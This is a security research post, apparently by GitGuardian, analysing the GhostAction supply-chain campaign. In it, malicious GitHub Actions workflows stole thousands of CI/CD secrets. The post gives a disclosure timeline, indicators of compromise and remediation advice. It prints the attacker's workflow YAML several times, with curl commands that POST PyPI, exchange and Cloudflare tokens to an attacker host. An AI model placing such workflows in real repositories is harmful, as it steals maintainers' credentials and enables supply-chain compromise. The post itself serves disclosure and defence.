👉
TL;DR: GitGuardian discovered and investigated the GhostAction campaign, which compromised 327 GitHub users across 817 repositories, stealing 3,325 secrets through malicious workflows disguised as "Github Actions Security." Attackers extracted PyPI, npm, DockerHub, and AWS credentials via HTTP POST to a remote endpoint. 24 packages remain at immediate risk of malicious releases.

Update 1: September 15

On September 9th, we observed a second wave in the GhostAction attack. About 500 new commits have been pushed to GitHub repositories with a similar malicious GitHub action payload. This new wave targeted only a few new users and repositories. In most cases, only previously compromised repositories have received the updated payload. In total, only 14 new repositories have been compromised.

The new exfiltration endpoint used in the payload is hxxps://carte-avantage.com, which hostname points to the same IP address. Another exfiltration domain also has been used for a short period of time: hxxps://objective-hopper.45-139-104-115.plesk.page

Although the initial attack vector remains unknown, the malicious IP address has recently been used to host phishing payloads.

Initial discovery

On September 5, 2025, GitGuardian security research was internally alerted of the potential compromise of a GitHub repository associated with the FastUUID project. Investigations found that a malicious GitHub workflow file had been injected into the project.

The compromised maintainer, GitHub user Grommash9, pushed the malicious commit on September 2, 2025. The commit, titled "Add Github Actions Security workflow," contained a single GitHub action workflow file designed to steal secrets:

name: Github Actions Security

on:
  workflow_dispatch:
  push:

jobs:
  send-secrets:
    runs-on: ubuntu-latest

    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' hxxps://bold-dhawan.45-139-104-115.plesk.page

Malicious GitHub action workflow file.

This workflow extracts the PyPI token from the CI/CD environment and sends it to an attacker-controlled server. The FastUUID project's legitimate workflow uses this token for package deployment:

name: FastUUID CI/CD

on:
  push:
    branches: [master]
    tags:
      - '[0-9]+.[0-9]+.[0-9]+'
  pull_request:
    branches: [master]

jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:

[...]

  build-and-publish:
    needs: test
    runs-on: ${{ matrix.os }}
    if: github.event_name == 'push' && contains(github.ref, '.')
    strategy:
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
        python-version: ['3.8', '3.9', '3.10', '3.11', '3.12', '3.13']
    steps:
      - uses: actions/checkout@v4
[...]
      - name: Publish to PyPI
        env:
          TWINE_USERNAME: __token__
          TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }}
        run: twine upload target/wheels/*

Legitimate workflow file showing secret names.

The malicious workflow file was run after the threat actor’s commit was pushed, successfully exfiltrating the corresponding PyPI token.

Malicious workflow run.

While this token should have allowed the actor to compromise the FastUUID package on PyPI, we found no evidence of malicious package releases during the compromise window.

No new release from the compromised PyPI token owner.

Our engineering team member, Charles Brossollet, created an alert issue on the GitHub project and reported the incident to PyPI on September 5. At 12:11, PyPI moved the project to read-only status. At 12:30, the compromised user reverted the malicious commit.

Given this rapid response timeline, we expect minimal security impact from the FastUUID compromise. While this package serves as a dependency in widely-used projects, including BerriAI/litellm, no malicious releases occurred.

A Broader Scope Than Expected

The attacker's inaction during the three days following the initial compromise suggested FastUUID was not the primary target. Our investigation revealed a much larger operation.

We discovered that the compromised user pushed identical malicious commits to at least 5 other public repositories and an estimated 10 private repositories on the same date. 

Each commit deployed similar workflows with modified secret lists targeting the same exfiltration endpoint:

name: Github Actions Security

on:
  workflow_dispatch:
  push:

jobs:
  send-secrets:
    runs-on: ubuntu-latest

    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}&WHITE_BIT_API_KEY=${{ secrets.WHITE_BIT_API_KEY }}&WHITE_BIT_SECRET_KEY=${{ secrets.WHITE_BIT_SECRET_KEY }}' hxxps://bold-dhawan.45-139-104-115.plesk.page

Another malicious workflow targeting different secret types.

Those additional compromised repositories pointed to a potentially more important malicious campaign.

Using our GitHub commit historical dataset, we identified hundreds of similar malicious commits across multiple repositories. Our analysis revealed that 327 users fell victim to this campaign. From this initial investigation, we found no intersection between those users and the recent S1ngularity attack campaign's victims. Those two incidents are likely unrelated.

The attack pattern remained consistent across all projects. The attacker first enumerated secrets from legitimate workflow files, then hardcoded these secret names into malicious workflows:

name: Github Actions Security

on:
 workflow_dispatch:
 push:

jobs:
 send-secrets:
 runs-on: ubuntu-latest

 steps:
 - name: Prepare Cache Busting
 run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

 - name: Github Actions Security
 run: |
 curl -s -X POST -d 'CF_ACCOUNT_ID=${{ secrets.CF_ACCOUNT_ID }}&CF_API_TOKEN=${{ secrets.CF_API_TOKEN }}&CLOUDFLARE_ACCOUNT_ID=${{ secrets.CLOUDFLARE_ACCOUNT_ID }}&CLOUDFLARE_API_TOKEN=${{ secrets.CLOUDFLARE_API_TOKEN }}' hxxps://bold-dhawan.45-139-104-115.plesk.page

We identified 3,325 leaked secrets across the campaign, with DockerHub credentials, GitHub tokens, and NPM tokens representing the most common types. The compromised NPM tokens create ongoing supply chain risks.

The exfiltration endpoint has consistently been set to hxxps://bold-dhawan.45-139-104-115.plesk.page across the campaign. As of Sep 5, 2025 12:39 PM this host name resolved to 45.139.104.115, an IP address hosted at 493networking.cc. This hostname stopped resolving from September 5, 4:15 PM.

Disclosure

Following our impact assessment, we began alerting affected users and projects by creating issues in every compromised repository. Among 817 affected repositories, 100 had already reverted the malicious changes. We successfully created issues for 573 of the remaining 717 projects—the others were either deleted or had disabled issues.

This disclosure prompted rapid remediation efforts. Initial discussions with affected developers confirmed that attackers were actively exploiting the stolen secrets, including AWS access keys and database credentials.

Further triage was conducted using GitHub issue activity as a proxy for project popularity, with repositories having more issues indicating higher usage and potential impact. This analysis revealed compromised tokens across multiple package ecosystems, including Rust crates and npm packages. Several companies were found to have their entire SDK portfolio compromised, with malicious workflows affecting their Python, Rust, JavaScript, and Go repositories simultaneously.

On Sep 5, 2025, at 3:50pm, we notified GitHub, NPM and PyPI security teams of the campaign, and we are maintaining ongoing surveillance of those and other package registries to verify that no compromised tokens were used to publish malicious artifacts. From our initial investigations, so far, 9 NPM and 15 PyPI packages are at risk of compromise in the next hours or days.

Indicators of Compromise (IOCs)

Network Indicators

  • Malicious Endpoints: hxxps://bold-dhawan.45-139-104-115.plesk.page, hxxps://carte-avantage.com, hxxps://objective-hopper.45-139-104-115.plesk.page
  • IP Address: 45.139.104.115
  • HTTP Method: POST requests with secret data

GitHub Workflow Indicators

  • Malicious Workflow Name: Github Actions Security
  • File Path: .github/workflows/github_actions_security.yml
  • Commit Messages: "Add Github Actions Security workflow"
The Nx “s1ngularity” Attack: Inside the Credential Leak
On August 26, 2025, Nx, the popular build platform with millions of weekly downloads, was compromised with credential-harvesting malware. Using GitGuardian’s monitoring data, we analyzed the exfiltrated credentials and reconstructed a fuller scope of exposure.

FAQ

What is the GhostAction campaign?

The GhostAction campaign is a large-scale supply chain attack discovered by GitGuardian on September 5, 2025. Attackers compromised 327 GitHub user accounts to inject malicious workflows that stole 3,325 secrets from CI/CD environments across 817 repositories. The attack targeted credentials like PyPI tokens, npm tokens, DockerHub credentials, GitHub tokens, and AWS access keys.

How did the GhostAction attack work?

Attackers first gained access to GitHub user accounts, then analyzed legitimate workflow files to identify which secrets were available. They injected malicious workflows disguised as "Github Actions Security" that extracted secrets from the CI/CD environment and sent them via HTTP POST requests to an attacker-controlled endpoint at bold-dhawan.45-139-104-115.plesk.page.

What types of secrets were stolen in the GhostAction campaign?

The campaign targeted a wide variety of credentials including PyPI API tokens, npm tokens, DockerHub credentials, GitHub personal access tokens, AWS access keys, database credentials, Cloudflare API tokens, and other CI/CD secrets. DockerHub credentials, GitHub tokens, and npm tokens were the most commonly targeted types across the compromised repositories.

Were any malicious packages published using the stolen credentials?

As of the disclosure date, no malicious packages have been published using the compromised tokens. However, GitGuardian identified 24 packages (9 npm and 15 PyPI) that remain at immediate risk of compromise. The security teams at GitHub, npm, and PyPI have been notified and are monitoring for malicious activity.

How can developers protect against similar GitHub workflow attacks?

Developers should regularly audit their repository access permissions, monitor for unexpected commits or workflow changes, use environment-specific secrets with minimal permissions, enable GitHub's security alerts, and implement additional secret scanning tools. Organizations should also review who has write access to their repositories and consider using branch protection rules that require reviews for workflow changes.

What should I do if my repository was affected by GhostAction?

If your repository was compromised, immediately revoke and rotate all secrets that may have been exposed, review your repository's commit history for malicious changes, remove any unauthorized workflow files, audit repository access permissions, and monitor your published packages for any unauthorized releases. GitGuardian created issues in affected repositories to alert maintainers.